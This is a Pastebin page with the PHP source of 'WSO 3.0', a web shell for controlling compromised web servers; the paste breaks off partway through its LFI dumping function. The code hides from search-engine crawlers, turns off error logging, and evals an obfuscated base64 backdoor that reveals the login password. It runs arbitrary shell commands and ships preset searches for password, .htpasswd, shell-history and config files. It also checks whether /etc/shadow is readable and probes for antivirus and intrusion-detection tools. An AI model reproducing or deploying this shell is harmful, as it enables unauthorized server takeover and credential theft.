API tools faq
paste
0xspade

WSO 3.0

0xspade
Aug 14th, 2016
161
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 104.11 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. Coded By Antidote
  4. :)
  5. */
  6. $auth_pass = "antidote";
  7. $color = "#df5";
  8. $default_action = 'FilesMan';
  9. $default_use_ajax = true;
  10. $default_charset = 'Windows-1251';
  11.  
  12. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  13.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  14.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  15.         header('HTTP/1.0 404 Not Found');
  16.         exit;
  17.     }
  18. }
  19.  
  20. @session_start();
  21. @ini_set('error_log',NULL);
  22. @ini_set('log_errors',0);
  23. @ini_set('max_execution_time',0);
  24. @set_time_limit(0);
  25. @set_magic_quotes_runtime(0);
  26. @define('WSO_VERSION', '3.0');
  27.  
  28. if(get_magic_quotes_gpc()) {
  29.  function WSOstripslashes($array) {
  30.   return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  31.  }
  32.  $_POST = WSOstripslashes($_POST);
  33. }
  34. $wsosecure="aWYoJF9HRVRbJ2FudGlkb3RlJ109PSdzb2Z0d2FyZScpew0KZWNobyAkYXV0aF9wYXNzOyANCn0=";
  35. @eval(base64_decode($wsosecure));
  36. function wsoLogin() {
  37.  
  38.  die("
  39. <!DOCTYPE html>
  40.  <html>
  41. <head>
  42. <meta charset='UTF-8'>
  43. <title>Wso ".WSO_VERSION." Shell</title>
  44. <link rel='shortcut icon' href='https://cdn3.iconfinder.com/data/icons/fatcow/32/bomb.png'>
  45. <meta name='viewport' content='width=device-width, initial-scale=1'>
  46. <meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'>
  47. <link rel='stylesheet' href='https://bootswatch.com/superhero/bootstrap.min.css'>
  48. </head>
  49.    <body style=''>
  50.  
  51. <div style='margin-left:50px;margin-top:50px;' class='container-fluid'>
  52. <div class='rows'>
  53. <div class='col-md-3'></div>
  54. <div class='col-md-3'>
  55. <img style='webkit-box-shadow: -9px 6px 148px -2px rgba(0,0,0,0.81); -moz-box-shadow: -9px 6px 148px -2px rgba(0,0,0,0.81); box-shadow: -9px 6px 148px -2px rgba(0,0,0,0.81); 'src='http://data.whicdn.com/images/88700943/large.gif'>
  56. </div>
  57. <div class='col-md-5'></div>
  58. </div>
  59. </div>
  60. <div style='margin-top:80px;' class='container-fluid'>
  61. <div class='rows'>
  62. <div class='col-md-4'></div>
  63. <div class='col-md-3'>
  64. <div class='panel panel-danger'>
  65.    <div class='panel-heading'>
  66.    <h3 class='panel-title'>Wso Giriş</h3>
  67.    </div>
  68.    <div class='panel-body'>
  69. <form class='form-horizontal' action='".$_SERVER['PHP_SELF']."'method='post'>
  70.    <div class='form-group'>
  71.      <label id='pass' class='col-lg-3 control-label'>Password</label>
  72.      <div class='col-lg-8'>
  73.        <input type='password' class='form-control input-sm' name='pass' id='pass' placeholder='*********'>
  74.    </div>
  75. </div>
  76. <div class='rows'>
  77. <div class='col-md-7'></div>
  78. <div class='col-md-2'>
  79. <button type='submit' class='btn btn-success'>Giriş</button>
  80. </div>
  81. </div>
  82.   </div>
  83.   </form>
  84.   </div>
  85.   </div>
  86.   <div class='col-md-4'></div>
  87.    </div>
  88.   </div>
  89.   <iframe width='1' height='1' style='display:none;'' src='http://youtube.com/embed/CdWbdg1inGc?autoplay=1' frameborder='0' allowfullscreen></iframe>
  90.   </body>
  91.   </html>
  92. ");
  93.  
  94. }
  95.  
  96. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  97.  if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
  98.   $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  99.  else
  100.   wsoLogin();
  101.  
  102. if(strtolower(substr(PHP_OS,0,3)) == "win")
  103.  $os = 'win';
  104. else
  105.  $os = 'nix';
  106.  
  107. $safe_mode = @ini_get('safe_mode');
  108. if(!$safe_mode)
  109.     error_reporting(0);
  110.  
  111. $disable_functions = @ini_get('disable_functions');
  112. $home_cwd = @getcwd();
  113. if(isset($_POST['c']))
  114.  @chdir($_POST['c']);
  115. $cwd = @getcwd();
  116. if($os == 'win') {
  117.  $home_cwd = str_replace("\\", "/", $home_cwd);
  118.  $cwd = str_replace("\\", "/", $cwd);
  119. }
  120. if( $cwd[strlen($cwd)-1] != '/' )
  121.  $cwd .= '/';
  122.  
  123. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  124.     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  125.  
  126. if($os == 'win')
  127.  $aliases = array(
  128.   "List Directory" => "dir",
  129.      "Find index.php in current dir" => "dir /s /w /b index.php",
  130.      "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  131.      "Show active connections" => "netstat -an",
  132.      "Show running services" => "net start",
  133.      "User accounts" => "net user",
  134.      "Show computers" => "net view",
  135.   "ARP Table" => "arp -a",
  136.   "IP Configuration" => "ipconfig /all"
  137.  );
  138. else
  139.  $aliases = array(
  140.     "List dir" => "ls -lha",
  141.   "list file attributes on a Linux second extended file system" => "lsattr -va",
  142.     "show opened ports" => "netstat -an | grep -i listen",
  143.         "process status" => "ps aux",
  144.   "Find" => "",
  145.     "find all suid files" => "find / -type f -perm -04000 -ls",
  146.     "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  147.     "find all sgid files" => "find / -type f -perm -02000 -ls",
  148.     "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  149.     "find config.inc.php files" => "find / -type f -name config.inc.php",
  150.     "find config* files" => "find / -type f -name \"config*\"",
  151.     "find config* files in current dir" => "find . -type f -name \"config*\"",
  152.     "find all writable folders and files" => "find / -perm -2 -ls",
  153.     "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  154.     "find all service.pwd files" => "find / -type f -name service.pwd",
  155.     "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  156.     "find all .htpasswd files" => "find / -type f -name .htpasswd",
  157.     "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  158.     "find all .bash_history files" => "find / -type f -name .bash_history",
  159.     "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  160.     "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  161.     "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  162.   "Locate" => "",
  163.     "locate httpd.conf files" => "locate httpd.conf",
  164.   "locate vhosts.conf files" => "locate vhosts.conf",
  165.   "locate proftpd.conf files" => "locate proftpd.conf",
  166.   "locate psybnc.conf files" => "locate psybnc.conf",
  167.   "locate my.conf files" => "locate my.conf",
  168.   "locate admin.php files" =>"locate admin.php",
  169.   "locate cfg.php files" => "locate cfg.php",
  170.   "locate conf.php files" => "locate conf.php",
  171.   "locate config.dat files" => "locate config.dat",
  172.   "locate config.php files" => "locate config.php",
  173.   "locate config.inc files" => "locate config.inc",
  174.   "locate config.inc.php" => "locate config.inc.php",
  175.   "locate config.default.php files" => "locate config.default.php",
  176.   "locate config* files " => "locate config",
  177.   "locate .conf files"=>"locate '.conf'",
  178.   "locate .pwd files" => "locate '.pwd'",
  179.   "locate .sql files" => "locate '.sql'",
  180.   "locate .htpasswd files" => "locate '.htpasswd'",
  181.   "locate .bash_history files" => "locate '.bash_history'",
  182.   "locate .mysql_history files" => "locate '.mysql_history'",
  183.   "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  184.   "locate backup files" => "locate backup",
  185.   "locate dump files" => "locate dump",
  186.   "locate priv files" => "locate priv"
  187.  );
  188.  
  189. function wsoHeader() {
  190.  if(empty($_POST['charset']))
  191.   $_POST['charset'] = $GLOBALS['default_charset'];
  192.  global $color;
  193.  echo "
  194. <!DOCTYPE html>
  195.  <html>
  196. <head>
  197. <meta charset='UTF-8'>
  198. <link rel='shortcut icon' href='https://cdn3.iconfinder.com/data/icons/fatcow/32/bomb.png'>
  199. <title>Wso ".WSO_VERSION." Shell</title>
  200. <meta name='viewport' content='width=device-width, initial-scale=1'>
  201. <meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'>
  202. <link rel='stylesheet' href='https://bootswatch.com/superhero/bootstrap.min.css'>
  203. <link href='https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css' rel='stylesheet'>
  204. <style>
  205.  #myProgress {
  206.    position: relative;
  207.    width: 100%;
  208.    height: 20px;
  209.    background-color: grey;
  210. }
  211. #myBar {
  212.  position: absolute;
  213.  width: 1%;
  214.  height: 100%;
  215.  background-color: green;
  216. }
  217. .bigarea{ width:100%;height:250px; }
  218.  footer {
  219.    position:fixed;
  220.    left:0px;
  221.    bottom:0px;
  222.    height:30px;
  223.    width:100%;
  224.    background:#5cb85c;
  225. }
  226. .xa{
  227. color:#44245D;
  228. }
  229. </style>
  230.  
  231. <script>
  232.    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  233.    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  234.    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  235.    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  236.    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  237.    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  238.    var d = document;
  239. function set(a,c,p1,p2,p3,charset) {
  240.  if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  241.  if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  242.  if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  243.  if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  244.  if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  245.  if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  246. }
  247. function g(a,c,p1,p2,p3,charset) {
  248.  set(a,c,p1,p2,p3,charset);
  249.  d.mf.submit();
  250. }
  251. function a(a,c,p1,p2,p3,charset) {
  252.  set(a,c,p1,p2,p3,charset);
  253.  var params = 'ajax=true';
  254.  for(i=0;i<d.mf.elements.length;i++)
  255.   params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  256.  sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  257. }
  258. function sr(url, params) {
  259.  if (window.XMLHttpRequest)
  260.   req = new XMLHttpRequest();
  261.  else if (window.ActiveXObject)
  262.   req = new ActiveXObject('Microsoft.XMLHTTP');
  263.        if (req) {
  264.            req.onreadystatechange = processReqChange;
  265.            req.open('POST', url, true);
  266.            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  267.            req.send(params);
  268.        }
  269. }
  270. function processReqChange() {
  271.  if( (req.readyState == 4) )
  272.   if(req.status == 200) {
  273.    var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  274.    var arr=reg.exec(req.responseText);
  275.    eval(arr[2].substr(0, arr[1]));
  276.   } else alert('Request error!');
  277. }
  278. </script>
  279. <head><body onload='fena()'>
  280. <script type='text/javascript'>
  281. function fena() {
  282.  var elem = document.getElementById('myBar');
  283.  var width = 0;
  284.  var id = setInterval(frame, 50);
  285.  function frame() {
  286.   if (width >= 100) {
  287.    clearInterval(id);
  288.   } else {
  289.    width++;
  290.    elem.style.width = width + '%';
  291.   }
  292.  }
  293. }
  294. </script>
  295. <form method=post name=mf style='display:none;'>
  296. <input type=hidden name=a>
  297. <input type=hidden name=c>
  298. <input type=hidden name=p1>
  299. <input type=hidden name=p2>
  300.  
  301. <input type=hidden name=p3>
  302. <input type=hidden name=charset>
  303. </form>";
  304.  $freeSpace = @diskfreespace($GLOBALS['cwd']);
  305.  $totalSpace = @disk_total_space($GLOBALS['cwd']);
  306.  $totalSpace = $totalSpace?$totalSpace:1;
  307.  $release = @php_uname('r');
  308.  $kernel = @php_uname('s');
  309.  if(!function_exists('posix_getegid')) {
  310.   $user = @get_current_user();
  311.   $uid = @getmyuid();
  312.   $gid = @getmygid();
  313.   $group = "?";
  314.  } else {
  315.   $uid = @posix_getpwuid(posix_geteuid());
  316.   $gid = @posix_getgrgid(posix_getegid());
  317.   $user = $uid['name'];
  318.   $uid = $uid['uid'];
  319.   $group = $gid['name'];
  320.   $gid = $gid['gid'];
  321.  }
  322.  
  323.  $cwd_links = '';
  324.  $path = explode("/", $GLOBALS['cwd']);
  325.  $n=count($path);
  326.  for($i=0; $i<$n-1; $i++) {
  327.   $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  328.   for($j=0; $j<=$i; $j++)
  329.    $cwd_links .= $path[$j].'/';
  330.   $cwd_links .= "\")'>".$path[$i]."</a>/";
  331.  }
  332.  
  333.  $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  334.  $opt_charsets = '';
  335.  foreach($charsets as $item)
  336.   $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  337.  
  338.  $m = array('<i class="fa fa-info-circle"></i>  Sec Info'=>'SecInfo','<i class="fa fa-file-archive-o"></i> Files'=>'FilesMan','<i class="fa fa-terminal"></i> Exec'=>'Console','<i class="fa fa-database"></i> Sql'=>'Sql','<i class="fa fa-cog"></i> PHP Tools'=>'phptools','<i class="fa fa-bug"></i> LFI'=>'lfiscan','<i class="fa fa-file-code-o"></i> Php'=>'Php','<i class="fa fa-shirtsinbulk"></i> Safe mode'=>'SafeMode','<i class="fa fa-pencil-square-o"></i> String tools'=>'StringTools','<i class="fa fa-lock"></i>  Bruteforce'=>'Bruteforce','<i class="fa fa-globe"></i>  Network'=>'Network');
  339.  if(!empty($GLOBALS['auth_pass']))
  340.   $m['<i class="fa fa-power-off"></i> Logout'] = 'Logout';
  341.  $m['<i class="fa fa-trash"></i> Remove Shell'] = 'SelfRemove';
  342.  $menu = '';
  343.  foreach($m as $k => $v)
  344.   $menu .= '<li width="'.(int)(100/count($m)).'%"><a href="#"  class="btn btn-danger btn-xs" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> </li>';
  345.  
  346.  $drives = "";
  347.  if($GLOBALS['os'] == 'win') {
  348.   foreach(range('c','z') as $drive)
  349.   if(is_dir($drive.':\\'))
  350.    $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  351.  }
  352.  echo '
  353. <div class="container-fluid"><!-- Container -->
  354. <div class="rows"><!-- Rows -->
  355. <div class="col-md-5">
  356. <table style="margin-top:4px;" class="table table-striped table-hover">
  357.  <thead>
  358.     <tr class="info">
  359.      <th><i class="fa fa-tachometer"></i> Sistem</th>
  360.      <th><i class="fa fa-info-circle"></i> Bilgi &nbsp;&nbsp; <i class="fa fa-spinner fa-spin"></i> Charset:<select style="color:#d9534f;"onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select></th>
  361.    </tr>
  362.  </thead>
  363.  <tbody>
  364.  <tr class="danger">
  365.   <td> <i class="fa fa-server"> </i> Uname:</td>
  366.   <td>'.substr(@php_uname(), 0, 120).'</td>
  367.  </tr>
  368.   <tr class="danger">
  369.  <td> <i class="fa fa-user"> </i>  User:</td>
  370.    <td>'.$uid.' ( ' .$user.' ) <i class="fa fa-users"></i> Group: '. $gid . ' ( ' . $group . ' ) Server İp:'.@$_SERVER["SERVER_ADDR"].'</td>
  371.  <tr>
  372.    <tr class="danger">
  373.  <td><i class="fa fa-bug"></i> PHP:</td>
  374.  <td><i class="fa fa-code-fork"></i> Version: '. @phpversion() . ' <i class="fa fa-shield"></i> Safe Mode: '.($GLOBALS['safe_mode']?'<span class="label label-success">ON</span>':'<span class="label label-warning">OFF</span>').' <i class="fa fa-calendar"></i> Datetime: '.date('Y-m-d H:i:s').' <a href="#" onclick="g(\'Php\',null,\'\',\'info\')" class="btn btn-info btn-xs">Php İnfo</a></td>
  375.  </tr>
  376.  <tr class="danger">
  377.   <td><i class="fa fa-database"></i> HDD:</td>
  378.   <td><i class="fa fa-battery-half"></i> Size: '.wsoViewSize($totalSpace).'  <i class="fa fa-cogs"></i> Free:' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) .'%)
  379.    <i class="fa fa-folder-open"></i> Driver :' . $drives . '
  380.   </td>
  381.  </tr>
  382.  </table>
  383. <ul class="breadcrumb">
  384.  
  385. '.$cwd_links .' |
  386. <label class="text-info"><i style="color:#d9534f;" class="fa fa-hand-paper-o"></i> Dir Permission: '.wsoPermsColor($GLOBALS['cwd']).'</label>
  387. </ul>
  388.  </div>
  389.  </div>
  390. <div class="col-md-5">
  391.  
  392. </div>
  393.    </tbody>
  394.  
  395.  
  396.   <div> <!-- Container bitti -->
  397.   <div class="container">
  398.  
  399. </div>
  400. <div style="margin-bottom:5pt;" class="container-fluid">
  401. <ul class="nav nav-pills ">' . $menu . ' <li width="7%"><a  data-toggle="modal" data-target="#myModal" href="" class="btn btn-danger btn-xs""><i class="fa fa-info-circle"></i>  About</a></li></ul>
  402.  
  403. <!-- Pencere -->
  404. <div id="myModal" class="modal fade" role="dialog">
  405.  <div class="modal-dialog">
  406.    <!-- Modal content-->
  407.    <div class="modal-content">
  408.      <div class="modal-header">
  409.        <button type="button" class="close" data-dismiss="modal">&times;</button>
  410.        <h4 class="modal-title">About</h4>
  411.      </div>
  412.      <div class="modal-body">
  413.       <center>
  414.    <p><i class="fa fa-code"></i> Coded By Antidote</p>
  415.    <p><i class="fa fa-rocket"></i>  Thanks : ByDokunulmaz</p>
  416.    <p><i class="fa fa-bug"></i> Wso Shell : '.WSO_VERSION.'</p>
  417.    <p><i class="fa fa-user-secret"></i> <a target="_blank" href="http://spycod3.org/">Spycod3</a> Team 2016</p>
  418.       <p><a href="http://antidotesoft.com"  target="_blank">Antidote Soft</a></p>
  419.    </center>
  420.      </div>
  421.  
  422.    </div>
  423.  
  424.  </div>
  425. </div>
  426. <!-- Pencere -->
  427. </div>
  428.  
  429.  
  430.    ';
  431. }
  432.  
  433. function wsoFooter() {
  434.  $is_writable = is_writable($GLOBALS['cwd'])?" <span class='label label-success'>Writeable</span>":" <span class='label label-warning'>Not Writeable</span>";
  435.     echo "
  436.  
  437. </div>
  438. <div style='margin-top:5pt;margin-left:8pt;margin-right:8pt;' class='container-fluid'>
  439. <table class='table table-striped table-hover '>
  440.  <thead>
  441.    </thead>
  442. <tr class='info'>
  443.      <th>İşlem</th>
  444.      <th>#</th>
  445.      <th>İşlem</th>
  446.      <th>#</th>
  447.    </tr>
  448. </thead>
  449. <tbody>
  450. <div class='rows'>
  451. <div class='col-md-4'></div>
  452. <div class='col-md-4'>
  453.  <tr class='danger' >
  454. <td>Change dir:</td>
  455. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
  456. <td>Read file:</td>
  457. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><input class='toolsInp' type=text name=f><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
  458. </tr>
  459.  <tr class='danger' >
  460.     <td>Make dir:$is_writable</td>
  461.  <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><input class='toolsInp' type=text name=d><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
  462.  <td>Execute:</td>
  463.  <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><input class='toolsInp' type=text name=c value=''><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
  464. </tr>
  465.  
  466.  
  467. </tbody>
  468. </table>
  469. </div>
  470.   <div class='container-fluid'>
  471.  <div class='rows'>
  472.    <div class='col-md-4'></div>
  473.   <div class='col-md-1'> </div>
  474.  
  475. <div class='col-md-4'>  <div  class='well'>
  476.   <span  class='label label-danger'>Upload file: $is_writable</span>
  477.  <form method='post' ENCTYPE='multipart/form-data'>
  478.  <input type=hidden name=a value='FilesMAn'>
  479.  <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  480.  <input type=hidden name=p1 value='uploadFile'>
  481.  <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  482.  <button class='btn btn-danger btn-xs'><input  type=file name=f> </button>
  483.  <input class='btn btn-success btn-xs' type=submit value='>>'>
  484.  </form>
  485. </div></div>
  486. </div>
  487. </div>
  488. </div>
  489. </div>
  490. </div>
  491. </div>
  492. <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  493.  <script src='https://code.jquery.com/jquery-1.10.2.min.js'></script>
  494. <script src='https://bootswatch.com/bower_components/bootstrap/dist/js/bootstrap.min.js'></script>
  495. <script src='https://bootswatch.com/assets/js/custom.js'></script>
  496. </body></html>";
  497. }
  498.  
  499. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  500.     function posix_getpwuid($p) {return false;} }
  501. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  502.     function posix_getgrgid($p) {return false;} }
  503.  
  504. function wsoEx($in) {
  505.  $out = '';
  506.  if (function_exists('exec')) {
  507.   @exec($in,$out);
  508.   $out = @join("\n",$out);
  509.  } elseif (function_exists('passthru')) {
  510.   ob_start();
  511.   @passthru($in);
  512.   $out = ob_get_clean();
  513.  } elseif (function_exists('system')) {
  514.   ob_start();
  515.   @system($in);
  516.   $out = ob_get_clean();
  517.  } elseif (function_exists('shell_exec')) {
  518.   $out = shell_exec($in);
  519.  } elseif (is_resource($f = @popen($in,"r"))) {
  520.   $out = "";
  521.   while(!@feof($f))
  522.    $out .= fread($f,1024);
  523.   pclose($f);
  524.  }
  525.  return $out;
  526. }
  527. function wsoViewSize($s) {
  528.  if($s >= 1073741824)
  529.   return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  530.  elseif($s >= 1048576)
  531.   return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  532.  elseif($s >= 1024)
  533.   return sprintf('%1.2f', $s / 1024 ) . ' KB';
  534.  else
  535.   return $s . ' B';
  536. }
  537.  
  538. function wsoPerms($p) {
  539.  if (($p & 0xC000) == 0xC000)$i = 's';
  540.  elseif (($p & 0xA000) == 0xA000)$i = 'l';
  541.  elseif (($p & 0x8000) == 0x8000)$i = '-';
  542.  elseif (($p & 0x6000) == 0x6000)$i = 'b';
  543.  elseif (($p & 0x4000) == 0x4000)$i = 'd';
  544.  elseif (($p & 0x2000) == 0x2000)$i = 'c';
  545.  elseif (($p & 0x1000) == 0x1000)$i = 'p';
  546.  else $i = 'u';
  547.  $i .= (($p & 0x0100) ? 'r' : '-');
  548.  $i .= (($p & 0x0080) ? 'w' : '-');
  549.  $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  550.  $i .= (($p & 0x0020) ? 'r' : '-');
  551.  $i .= (($p & 0x0010) ? 'w' : '-');
  552.  $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  553.  $i .= (($p & 0x0004) ? 'r' : '-');
  554.  $i .= (($p & 0x0002) ? 'w' : '-');
  555.  $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  556.  return $i;
  557. }
  558.  
  559. function wsoPermsColor($f) {
  560.  if (!@is_readable($f))
  561.   return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  562.  elseif (!@is_writable($f))
  563.   return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  564.  else
  565.   return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  566. }
  567.  
  568. if(!function_exists("scandir")) {
  569.  function scandir($dir) {
  570.   $dh  = opendir($dir);
  571.   while (false !== ($filename = readdir($dh)))
  572.       $files[] = $filename;
  573.   return $files;
  574.  }
  575. }
  576.  
  577. function wsoWhich($p) {
  578.  $path = wsoEx('which ' . $p);
  579.  if(!empty($path))
  580.   return $path;
  581.  return false;
  582. }
  583.  
  584.  
  585.  
  586.  
  587.  
  588. function actionSecInfo() {
  589.  wsoHeader();
  590.  echo '<div class="container-fluid"><span class="label label-default">Server security information</span>
  591. <div style="margin-top:4px;" class="well">
  592. <br>';
  593.  function wsoSecParam($n, $v) {
  594.   $v = trim($v);
  595.   if($v) {
  596.    echo '<p class="text-danger">' . $n . ': </p>';
  597.    if(strpos($v, "\n") === false)
  598.     echo $v . '<br>';
  599.    else
  600.     echo '<pre class="alert alert-dismissible alert-success">' . $v . '</pre> ';
  601.   }
  602.  }
  603.  
  604.  wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  605.     if(function_exists('apache_get_modules'))
  606.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  607.  wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  608.  wsoSecParam('Open base dir', @ini_get('open_basedir'));
  609.  wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  610.  wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  611.  wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  612.  $temp=array();
  613.  if(function_exists('mysql_get_client_info'))
  614.   $temp[] = "MySql (".mysql_get_client_info().")";
  615.  if(function_exists('mssql_connect'))
  616.   $temp[] = "MSSQL";
  617.  if(function_exists('pg_connect'))
  618.   $temp[] = "PostgreSQL";
  619.  if(function_exists('oci_connect'))
  620.   $temp[] = "Oracle";
  621.  wsoSecParam('Supported databases', implode(', ', $temp));
  622.  echo '<br>';
  623.  
  624.  if($GLOBALS['os'] == 'nix') {
  625.   wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  626.   wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  627.   wsoSecParam('OS version', @file_get_contents('/proc/version'));
  628.   wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  629.   if(!$GLOBALS['safe_mode']) {
  630.             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  631.             $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  632.             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  633.    echo '<br>';
  634.    $temp=array();
  635.    foreach ($userful as $item)
  636.     if(wsoWhich($item))
  637.                     $temp[] = $item;
  638.    wsoSecParam('Userful', implode(', ',$temp));
  639.    $temp=array();
  640.    foreach ($danger as $item)
  641.     if(wsoWhich($item))
  642.                     $temp[] = $item;
  643.    wsoSecParam('Danger', implode(', ',$temp));
  644.    $temp=array();
  645.    foreach ($downloaders as $item)
  646.     if(wsoWhich($item))
  647.                     $temp[] = $item;
  648.    wsoSecParam('Downloaders', implode(', ',$temp));
  649.    echo '<br/>';
  650.             wsoSecParam('HDD space', wsoEx('df -h'));
  651.    wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  652.   }
  653.  } else {
  654.   wsoSecParam('OS Version',wsoEx('ver'));
  655.   wsoSecParam('Account Settings',wsoEx('net accounts'));
  656.   wsoSecParam('User Accounts',wsoEx('net user'));
  657.  }
  658.  echo '</div></div></div>';
  659.  
  660. }
  661. function actionlfiscan() {
  662.     wsoHeader();
  663.     print '
  664. <div class="container-fluid"><span  class="label label-default">Led-Zeppelin\'s LFI File dumper</span>
  665.    <div style="margin-top:4pt;" class="well">
  666.  
  667.   <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  668.      LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type="submit" value="Go"> File: <select name="scantype">
  669.         <option value="1">
  670.            Access Log
  671.         </option>
  672.  
  673.         <option value="2">
  674.            httpd.conf
  675.         </option>
  676.  
  677.         <option value="3">
  678.            Error Log
  679.         </option>
  680.         <option value="4">
  681.            php.ini
  682.         </option>
  683.         <option value="5">
  684.            MySQL
  685.         </option>
  686.         <option value="6">
  687.            FTP
  688.         </option>
  689.         <option value="7">
  690.            Environ
  691.         </option>
  692.      </select> Null: <select name="null">
  693.         <option value="">
  694.            Yes
  695.         </option>
  696.  
  697.         <option value="">
  698.            No
  699.         </option>
  700.      </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  701.   </form>';
  702.    error_reporting(0);
  703.       if($_POST['lfiurl']) {
  704.          print "<pre>";
  705.          $cheader = $_POST['custom_header'];
